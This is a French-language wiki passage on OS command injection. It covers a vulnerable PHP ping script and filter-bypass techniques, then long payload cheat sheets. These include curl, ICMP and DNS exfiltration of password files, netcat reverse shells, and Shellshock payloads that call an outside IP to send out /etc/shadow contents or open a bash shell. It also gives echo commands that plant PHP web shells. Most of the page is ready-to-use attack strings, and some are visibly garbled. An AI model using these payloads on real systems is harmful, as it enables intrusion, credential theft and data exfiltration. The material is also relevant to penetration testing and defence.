  ;	| Le point-virgule est le métacaractère le plus couramment utilisé pour tester une faille d'injection. Le shell exécute toutes les commandes séparées par le point-virgule.&lt;br /&gt;
  &amp;amp;	| Il sépare plusieurs commandes sur une ligne de commande. Il exécute la première commande puis la seconde.&lt;br /&gt;
 &amp;amp;&amp;amp; | Si la commande précédente à &amp;amp;&amp;amp; est réussie, alors seulement elle exécute la commande suivante.&lt;br /&gt;
  |	| Redirige les sorties standard de la première commande vers l'entrée standard de la deuxième commande.&lt;br /&gt;
 ||	| Le || n'exécute la commande suivante que si la commande précédente échoue.&lt;br /&gt;
 ``	| Le métacaractère &amp;quot;unquote&amp;quot; est utilisé pour forcer le shell à interpréter et à exécuter la commande à l'interieur. Ex: '$ Variable=&amp;quot;OS version `uname -a`&amp;quot; &amp;amp;&amp;amp; echo $variable'&lt;br /&gt;
&lt;br /&gt;
Exemple simple de script PHP utilisant ping.&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
    if(isset($_POST[&amp;quot;ip&amp;quot;]) &amp;amp;&amp;amp; !empty($_POST[&amp;quot;ip&amp;quot;])){&lt;br /&gt;
        $response = shell_exec(&amp;quot;timeout 5 bash -c 'ping -c 3 &amp;quot;.$_POST[&amp;quot;ip&amp;quot;].&amp;quot;'&amp;quot;);&lt;br /&gt;
        echo $response;&lt;br /&gt;
    }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Au lieu de fournir une ip, il est possible d'injecter une commade par l'utilisation des métacharacteres.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls -la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%20-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;;ls%09-la&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
== Afficher le contenu d'un fichier PHP ==&lt;br /&gt;
L'injection de la commande &amp;lt;b&amp;gt;;php -s file.php&amp;lt;/b&amp;gt; va permettre d'afficher le contenu du fichier php plutôt que &amp;lt;b&amp;gt;;cat file.php&amp;lt;/b&amp;gt; qui risque lui d'être exécuté.&lt;br /&gt;
&lt;br /&gt;
== Contournement de filtres ==&lt;br /&gt;
Si certain &amp;lt;b&amp;gt;filtres&amp;lt;/b&amp;gt; sont en place, par exemple en supprimant les caractères d'évasion, on peut tenter un &amp;lt;b&amp;gt;retour à la ligne&amp;lt;/b&amp;gt; via l'ajout de &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La commande suivant le &amp;lt;b&amp;gt;%0a&amp;lt;/b&amp;gt; sera alors exécutée.&lt;br /&gt;
&lt;br /&gt;
=== Exemple de filtre maison ===&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
     $substitutions = array(&lt;br /&gt;
         '&amp;amp;'  =&amp;gt; '',&lt;br /&gt;
         ';'  =&amp;gt; '',&lt;br /&gt;
         '| ' =&amp;gt; '',&lt;br /&gt;
         '-'  =&amp;gt; '',&lt;br /&gt;
         '$'  =&amp;gt; '',&lt;br /&gt;
         '('  =&amp;gt; '',&lt;br /&gt;
         ')'  =&amp;gt; '',&lt;br /&gt;
         '`'  =&amp;gt; '',&lt;br /&gt;
         '||' =&amp;gt; '',&lt;br /&gt;
     );&lt;br /&gt;
&lt;br /&gt;
On remarque le &amp;lt;b&amp;gt;'| '&amp;lt;/b&amp;gt;, ce qui veut dire que le &amp;lt;b&amp;gt;'|'&amp;lt;/b&amp;gt; n'est pas filtré s'il n'est pas suivi d'un espace. En y allant à taton on peut retrouver certaines règles.&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0;.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;12&amp;amp;7.0.0.1&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Il est donc primordial de jouer avec les espaces!&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1|cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1 |cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*&amp;lt;b&amp;gt;127.0.0.1| cat password.txt&amp;lt;/b&amp;gt;&lt;br /&gt;
*(...)&lt;br /&gt;
&lt;br /&gt;
Une commande possible serait donc:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;b&amp;gt;127.0.0.1%0als -la&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut se retrouver &amp;lt;b&amp;gt;bloquer&amp;lt;/b&amp;gt; par &amp;lt;b&amp;gt;l'encodage des caractères spéciaux&amp;lt;/b&amp;gt; via les formulaires web (&amp;lt;b&amp;gt;127.0.0.1%250als -la&amp;lt;/b&amp;gt;), il semblerait que curl soit plus permissif, ou alors il faudrait modifier directement le &amp;lt;b&amp;gt;header&amp;lt;/b&amp;gt; avant l'envoie de la requête.&lt;br /&gt;
&lt;br /&gt;
=== Autre type de filtres ===&lt;br /&gt;
==== Double Encoding ====&lt;br /&gt;
Dans le cas oú l'on aurait quelque chose comme ça:&lt;br /&gt;
&lt;br /&gt;
 str_replace(&amp;quot;%26&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
On donc peut tenter un &amp;lt;b&amp;gt;double encoding&amp;lt;/b&amp;gt; &amp;lt;b&amp;gt;%%2626&amp;lt;/b&amp;gt; deviendra alors &amp;lt;b&amp;gt;%26&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Sans Espaces ====&lt;br /&gt;
Dans le cas oú les espaces serait supprimmés:&lt;br /&gt;
&lt;br /&gt;
===== Le Bash Internal Field Separator: $IFS =====&lt;br /&gt;
&lt;br /&gt;
 ;cat${IFS}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== SI IFS est blacklisté =====&lt;br /&gt;
&lt;br /&gt;
 ;{cat,/etc/passwd}&lt;br /&gt;
&lt;br /&gt;
===== Utilisation de TAB =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%09/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Line-Feed in the middle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat%0a/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Utilisation du '+' =====&lt;br /&gt;
&lt;br /&gt;
 ;cat+/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Env Variable =====&lt;br /&gt;
 ;$var='x20';cat${var}/etc/passwd&lt;br /&gt;
&lt;br /&gt;
===== Sans $ ni {} =====&lt;br /&gt;
 ;IFS=,;`cat&amp;lt;&amp;lt;&amp;lt;/etc,/passwd`&lt;br /&gt;
&lt;br /&gt;
==== Certains mots blacklistés ====&lt;br /&gt;
Si &amp;quot;cat&amp;quot; ou &amp;quot;passwd&amp;quot; ou &amp;quot;nimp&amp;quot; est blacklisté:&lt;br /&gt;
&lt;br /&gt;
===== The Wildcard caracters =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/cat /etc/passwd == ;/b*n/c /et*/pawd == ;/b?n/c?? /et?/pa??wd&lt;br /&gt;
&lt;br /&gt;
===== Unitialized variable $u qui a une valeur nulle =====&lt;br /&gt;
&lt;br /&gt;
 ;cat$u /etc$u/passwd&lt;br /&gt;
&lt;br /&gt;
===== Null Variable =====&lt;br /&gt;
&lt;br /&gt;
 ;cat /et``c/pas``swd&lt;br /&gt;
 ;cat /e$()tc/pa$()sswd&lt;br /&gt;
 ;cat /etc$(dlam)/pa$(erde)sswd&lt;br /&gt;
&lt;br /&gt;
===== Troncation par quote, double quotes, ou backslash =====&lt;br /&gt;
&lt;br /&gt;
 ;/bin/c&amp;quot;at&amp;quot; /e&amp;quot;tc&amp;quot;/pa&amp;quot;ss&amp;quot;wd&lt;br /&gt;
 ;/b'i'n/c'a't /e't'c/p'a's's'w'd'&lt;br /&gt;
 ;c\at /e\tc/pa\s\swd/&lt;br /&gt;
&lt;br /&gt;
===== $@ =====&lt;br /&gt;
 ;c$@at /etc/passwd&lt;br /&gt;
&lt;br /&gt;
==== Sans Slash ====&lt;br /&gt;
Si le slah est filtré on peut utilisé ${HOME:0;1} qui représente un slash:&lt;br /&gt;
&lt;br /&gt;
 ;cat ${HOME:0;1}etc${HOME:0;1}passwd&lt;br /&gt;
&lt;br /&gt;
==== ${SHELLOPTS} ====&lt;br /&gt;
De la même façon on peut utilisé ${SHELLOPTS} pour représenter un caractère spécifique:&lt;br /&gt;
&lt;br /&gt;
 ${SHELLOPTS:3:1} représente un c.&lt;br /&gt;
 ${SHELLOPTS:2:1} représente un a.&lt;br /&gt;
 (À creuser...)&lt;br /&gt;
 ;${SHELLOPTS:3:1}at /etc/p${SHELLOPTS:2:1}sswd&lt;br /&gt;
&lt;br /&gt;
==== Reverse and Encode ====&lt;br /&gt;
 ;`echo &amp;quot;dwssap/cte/ tac | rev`&lt;br /&gt;
 ;$(echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d)&lt;br /&gt;
&lt;br /&gt;
==== Hexadecimal encode ====&lt;br /&gt;
&lt;br /&gt;
 ;echo -e &amp;quot;x2fx65x74x63x2fx70x61x73x73x77x64&amp;quot; 	# (/etc/passwd)&lt;br /&gt;
&lt;br /&gt;
== Cheat Sheet ==&lt;br /&gt;
=== Top 25 des paramètres pouvant conduire à une injection ===&lt;br /&gt;
 ?cmd={payload}&lt;br /&gt;
 ?exec={payload}&lt;br /&gt;
 ?command={payload}&lt;br /&gt;
 ?execute{payload}&lt;br /&gt;
 ?ping={payload}&lt;br /&gt;
 ?query={payload}&lt;br /&gt;
 ?jump={payload}&lt;br /&gt;
 ?code={payload}&lt;br /&gt;
 ?reg={payload}&lt;br /&gt;
 ?do={payload}&lt;br /&gt;
 ?func={payload}&lt;br /&gt;
 ?arg={payload}&lt;br /&gt;
 ?option={payload}&lt;br /&gt;
 ?load={payload}&lt;br /&gt;
 ?process={payload}&lt;br /&gt;
 ?step={payload}&lt;br /&gt;
 ?read={payload}&lt;br /&gt;
 ?function={payload}&lt;br /&gt;
 ?req={payload}&lt;br /&gt;
 ?feature={payload}&lt;br /&gt;
 ?exe={payload}&lt;br /&gt;
 ?module={payload}&lt;br /&gt;
 ?payload={payload}&lt;br /&gt;
 ?run={payload}&lt;br /&gt;
 ?print={payload}&lt;br /&gt;
&lt;br /&gt;
=== Fonctions PHP vulnérables ===&lt;br /&gt;
 system()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 ioctl_exec()&lt;br /&gt;
 eio_syncfs()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 popen()&lt;br /&gt;
&lt;br /&gt;
Command Execution Function Filtered possible Bypass with encoding&lt;br /&gt;
 system()&lt;br /&gt;
 passthru()&lt;br /&gt;
 exec()&lt;br /&gt;
 shell_exec()&lt;br /&gt;
 popen()&lt;br /&gt;
 proc_open()&lt;br /&gt;
 pcntl_exec()&lt;br /&gt;
 Reverse quotation marks are identical shell_exec()&lt;br /&gt;
&lt;br /&gt;
=== DATA Exfiltration ===&lt;br /&gt;
Il est parfois possible de ne pas avoir de retour de la commande injectée, on peut alors passer par une requête POST et s'envoyer n'importe quel fichier. ([https://requestcatcher.com/])&lt;br /&gt;
&lt;br /&gt;
==== cURL ====&lt;br /&gt;
 $ curl -d &amp;quot;ip=127.0.0.1%0acurl -d&amp;quot;@Any_File&amp;quot; -X POST &amp;quot;https://requestbin.net/r/dyc3s5m8&amp;quot;&amp;quot; -X POST http://exemple.com/index.php&lt;br /&gt;
 $ curl -d &amp;quot;@file&amp;quot; -X POST http://domain.com&lt;br /&gt;
&lt;br /&gt;
==== cURL avec FTP ====&lt;br /&gt;
 $ curl -T file ftp://ip -user nick:pass&lt;br /&gt;
&lt;br /&gt;
==== Netcat ====&lt;br /&gt;
 $ nc -l -p {port} &amp;lt; {file to extract}&lt;br /&gt;
&lt;br /&gt;
==== ICMP ====&lt;br /&gt;
Si l'hôte que vous visez a été renforcé et que des outils tels que netcat, wget et CURL ont été supprimés, vous pouvez encore utiliser certaines techniques.  Essayez de faire en sorte que l'hôte envoie un ping à votre boîte et voyez si le protocole ICMP passe à travers les pare-feux qui interviennent.  Si c'est le cas, et que l'hôte sous-jacent tourne sous Linux, nous pouvons exfiltrer des données dans les requêtes ICMP en utilisant l'indicateur -p.  L'option -p vous permet de spécifier jusqu'à 16 octets de &amp;quot;pad&amp;quot;. C'est là que nous stockerons les données que nous voulons exfiltrer.&lt;br /&gt;
&lt;br /&gt;
Nous devons d'abord convertir le fichier en hexadécimal, puis spécifier les données à insérer dans le paquet. Ceci peut être fait avec la ligne suivante :&lt;br /&gt;
 cat password.txt | xxd -p -c 16 | while read exfile; do ping -p $exfile -c 1 xxx.xxx.xxx.xxx; done&lt;br /&gt;
&lt;br /&gt;
Avec Wireshark, nous pouvons observer les paquets contenant nos données.  Vous pouvez écrire un script qui récupère les paquets et réassemble le fichier sur l'hôte.&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
De la même manière que ping, DNS peut également être utilisé pour exfiltrer des données. Cette fois, nous allons utiliser chaque ligne de données comme nom d'hôte d'une requête DNS. En surveillant le trafic sur notre machine, nous pouvons réassembler le fichier. Dans ce cas, la commande suivante est soumise dans le cadre de notre requête au serveur vulnérable :&lt;br /&gt;
 cat password.txt | while read exfile; do host $exfile.contextis.com xxx.xxx.xxx.xxx; done&lt;br /&gt;
 for i in $(cat password.txt); do host $i.hkj.com; done&lt;br /&gt;
&lt;br /&gt;
Comme pour le ping, vous pouvez écrire un script pour récupérer les paquets DNS entrants et réassembler le fichier.&lt;br /&gt;
&lt;br /&gt;
==== Time based data exfiltration ====&lt;br /&gt;
Extraction caractère par caractère :&lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi&lt;br /&gt;
 real    0m5.007s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
 &lt;br /&gt;
 $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi&lt;br /&gt;
 real    0m0.002s&lt;br /&gt;
 user    0m0.000s&lt;br /&gt;
 sys 0m0.000s&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shell ====&lt;br /&gt;
Avec Netcat:&lt;br /&gt;
 nc -L -p port -e cmd.exe 	(Windows)&lt;br /&gt;
 nc -l -p port -e /bin/bash 	(*nix)&lt;br /&gt;
&lt;br /&gt;
===== Se connecter =====&lt;br /&gt;
====== Netcat ======&lt;br /&gt;
 $ nc {ip} {port}&lt;br /&gt;
 $ nc {ip} {port} &amp;gt; output&lt;br /&gt;
&lt;br /&gt;
(Windows)&lt;br /&gt;
 type {file to extract} | nc -L -p {port}&lt;br /&gt;
&lt;br /&gt;
====== wget ======&lt;br /&gt;
 wget --post-data exfile=`cat /path/to/file` http://domain.com&lt;br /&gt;
 wget --post-file file http://domain.com&lt;br /&gt;
&lt;br /&gt;
====== Telnet ======&lt;br /&gt;
 telnet ip port &amp;lt; file&lt;br /&gt;
&lt;br /&gt;
=== Command Injection/Execution Cheat Sheet ===&lt;br /&gt;
 #Both Unix and Windows supported&lt;br /&gt;
 ls||id; ls ||id; ls|| id; ls || id # Execute both&lt;br /&gt;
 ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)&lt;br /&gt;
 ls&amp;amp;&amp;amp;id; ls &amp;amp;&amp;amp;id; ls&amp;amp;&amp;amp; id; ls &amp;amp;&amp;amp; id #  Execute 2º if 1º finish ok&lt;br /&gt;
 ls&amp;amp;id; ls &amp;amp;id; ls&amp;amp; id; ls &amp;amp; id # Execute both but you can only see the output of the 2º&lt;br /&gt;
 ls %0A id # %0A Execute both (RECOMMENDED)&lt;br /&gt;
​&lt;br /&gt;
 #Only unix supported&lt;br /&gt;
 `ls` # ``&lt;br /&gt;
 $(ls) # $()&lt;br /&gt;
 ls; id # ; Chain commands&lt;br /&gt;
​&lt;br /&gt;
 #Not execute but may be interesting&lt;br /&gt;
 &amp;gt; /var/www/html/out.txt #Try to redirect the output to a file&lt;br /&gt;
 &amp;lt; /etc/passwd #Try to send some input to the command&lt;br /&gt;
===== Unix =====&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/passwd&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/bin/cat%20/etc/shadow&amp;amp;quot;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 &amp;amp;lt;!--#exec%20cmd=&amp;amp;quot;/usr/bin/id;--&amp;amp;gt;&lt;br /&gt;
 /index.html|id|&lt;br /&gt;
 ;id;&lt;br /&gt;
 ;id&lt;br /&gt;
 ;netstat -a;&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;id;&lt;br /&gt;
 |id&lt;br /&gt;
 |/usr/bin/id&lt;br /&gt;
 |id|&lt;br /&gt;
 |/usr/bin/id|&lt;br /&gt;
 ||/usr/bin/id|&lt;br /&gt;
 |id;&lt;br /&gt;
 ||/usr/bin/id;&lt;br /&gt;
 ;id|&lt;br /&gt;
 ;|/usr/bin/id|&lt;br /&gt;
 \n/bin/ls -al\n&lt;br /&gt;
 \n/usr/bin/id\n&lt;br /&gt;
 \nid\n&lt;br /&gt;
 \n/usr/bin/id;&lt;br /&gt;
 \nid;&lt;br /&gt;
 \n/usr/bin/id|&lt;br /&gt;
 \nid|&lt;br /&gt;
 ;/usr/bin/id\n&lt;br /&gt;
 ;id\n&lt;br /&gt;
 |usr/bin/id\n&lt;br /&gt;
 |nid\n&lt;br /&gt;
 `id`&lt;br /&gt;
 `/usr/bin/id`&lt;br /&gt;
 a);id&lt;br /&gt;
 a;id&lt;br /&gt;
 a);id;&lt;br /&gt;
 a;id;&lt;br /&gt;
 a);id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a)|id&lt;br /&gt;
 a|id&lt;br /&gt;
 a)|id;&lt;br /&gt;
 a|id&lt;br /&gt;
 |/bin/ls -al&lt;br /&gt;
 a);/usr/bin/id&lt;br /&gt;
 a;/usr/bin/id&lt;br /&gt;
 a);/usr/bin/id;&lt;br /&gt;
 a;/usr/bin/id;&lt;br /&gt;
 a);/usr/bin/id|&lt;br /&gt;
 a;/usr/bin/id|&lt;br /&gt;
 a)|/usr/bin/id&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 a)|/usr/bin/id;&lt;br /&gt;
 a|/usr/bin/id&lt;br /&gt;
 ;system('cat%20/etc/passwd')&lt;br /&gt;
 ;system('id')&lt;br /&gt;
 ;system('/usr/bin/id')&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 &amp;amp; ping -i 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 &amp;amp; ping -n 30 127.0.0.1 &amp;amp;&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 `ping 127.0.0.1`&lt;br /&gt;
 | id&lt;br /&gt;
 &amp;amp; id&lt;br /&gt;
 ; id&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 `id`&lt;br /&gt;
 $;/usr/bin/id&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;curl http://135.23.158.130/.testing/shellshock.txt?vuln=5&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&amp;amp;?vuln=6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 1 &amp;amp;&amp;amp; echo vulnerable 1&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&amp;amp;?vuln=7&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 3 &amp;amp;&amp;amp; echo vulnerable 3&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&amp;amp;?vuln=8&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&amp;amp;?vuln=9&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;sleep 6 &amp;amp;&amp;amp; echo vulnerable 6&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &amp;amp;\`&amp;quot;&lt;br /&gt;
 () { :;}; /bin/bash -c &amp;quot;wget http://135.23.158.130/.testing/shellshock.txt?vuln=4&amp;quot;&lt;br /&gt;
 cat /etc/hosts&lt;br /&gt;
 $(`cat /etc/passwd`)&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
 %0Acat%20/etc/passwd&lt;br /&gt;
 {{ get_user_file(&amp;quot;/etc/passwd&amp;quot;) }}&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/passwd&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/bin/cat /etc/shadow&amp;quot;--&amp;gt;&lt;br /&gt;
 &amp;lt;!--#exec cmd=&amp;quot;/usr/bin/id;--&amp;gt;&lt;br /&gt;
 system('cat /etc/passwd');&lt;br /&gt;
 &amp;lt;?php system(&amp;quot;cat /etc/passwd&amp;quot;);?&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
===== Windows =====&lt;br /&gt;
 `&lt;br /&gt;
 || &lt;br /&gt;
 | &lt;br /&gt;
 ; &lt;br /&gt;
 '&lt;br /&gt;
 '&amp;quot;&lt;br /&gt;
 &amp;quot;&lt;br /&gt;
 &amp;quot;'&lt;br /&gt;
 &amp;amp; &lt;br /&gt;
 &amp;amp;&amp;amp; &lt;br /&gt;
 %0a&lt;br /&gt;
 %0a%0d&lt;br /&gt;
 &lt;br /&gt;
 %0Aid&lt;br /&gt;
 %0a id %0a&lt;br /&gt;
 %0Aid%0A&lt;br /&gt;
 %0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
 %0A/usr/bin/id&lt;br /&gt;
 %0A/usr/bin/id%0A&lt;br /&gt;
 %2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\&amp;quot; |ping -n 21 127.0.0.1&lt;br /&gt;
 %20{${phpinfo()}}&lt;br /&gt;
 %20{${sleep(20)}}&lt;br /&gt;
 %20{${sleep(3)}}&lt;br /&gt;
 a|id|&lt;br /&gt;
 a;id|&lt;br /&gt;
 a;id;&lt;br /&gt;
 a;id\n&lt;br /&gt;
 () { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12&lt;br /&gt;
 | curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 &amp;amp; curl http://crowdshield.com/.testing/rce.txt&lt;br /&gt;
 ; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 &amp;amp;&amp;amp; curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
  curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\&amp;quot; |curl https://crowdshield.com/.testing/rce_vuln.txt&lt;br /&gt;
 $(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)&lt;br /&gt;
 dir&lt;br /&gt;
 | dir&lt;br /&gt;
 ; dir&lt;br /&gt;
 $(`dir`)&lt;br /&gt;
 &amp;amp; dir&lt;br /&gt;
 &amp;amp;&amp;amp;dir&lt;br /&gt;
 &amp;amp;&amp;amp; dir&lt;br /&gt;
 | dir C:\&lt;br /&gt;
 ; dir C:\&lt;br /&gt;
 &amp;amp; dir C:\&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\&lt;br /&gt;
 dir C:\&lt;br /&gt;
 | dir C:\Documents and Settings\*&lt;br /&gt;
 ; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Documents and Settings\*&lt;br /&gt;
 dir C:\Documents and Settings\*&lt;br /&gt;
 | dir C:\Users&lt;br /&gt;
 ; dir C:\Users&lt;br /&gt;
 &amp;amp; dir C:\Users&lt;br /&gt;
 &amp;amp;&amp;amp; dir C:\Users&lt;br /&gt;
 dir C:\Users&lt;br /&gt;
 ;echo%20'&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;'&lt;br /&gt;
 echo '&amp;lt;img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)&amp;gt;&amp;lt;/img&amp;gt;'// XXXXXXXXXXX&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php include($_GET['page'])| ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 echo &amp;quot;&amp;lt;?php include($_GET['page']); ?&amp;gt;&amp;quot; &amp;gt; rfi.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']')| ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 &amp;amp;&amp;amp; echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php &lt;br /&gt;
 echo &amp;quot;&amp;lt;?php system('dir $_GET['dir']'); ?&amp;gt;&amp;quot; &amp;gt; dir.php&lt;br /&gt;
 | echo &amp;quot;&amp;lt;?php system($_GET['cmd'])| ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
 ; echo &amp;quot;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;quot; &amp;gt; cmd.php&lt;br /&gt;
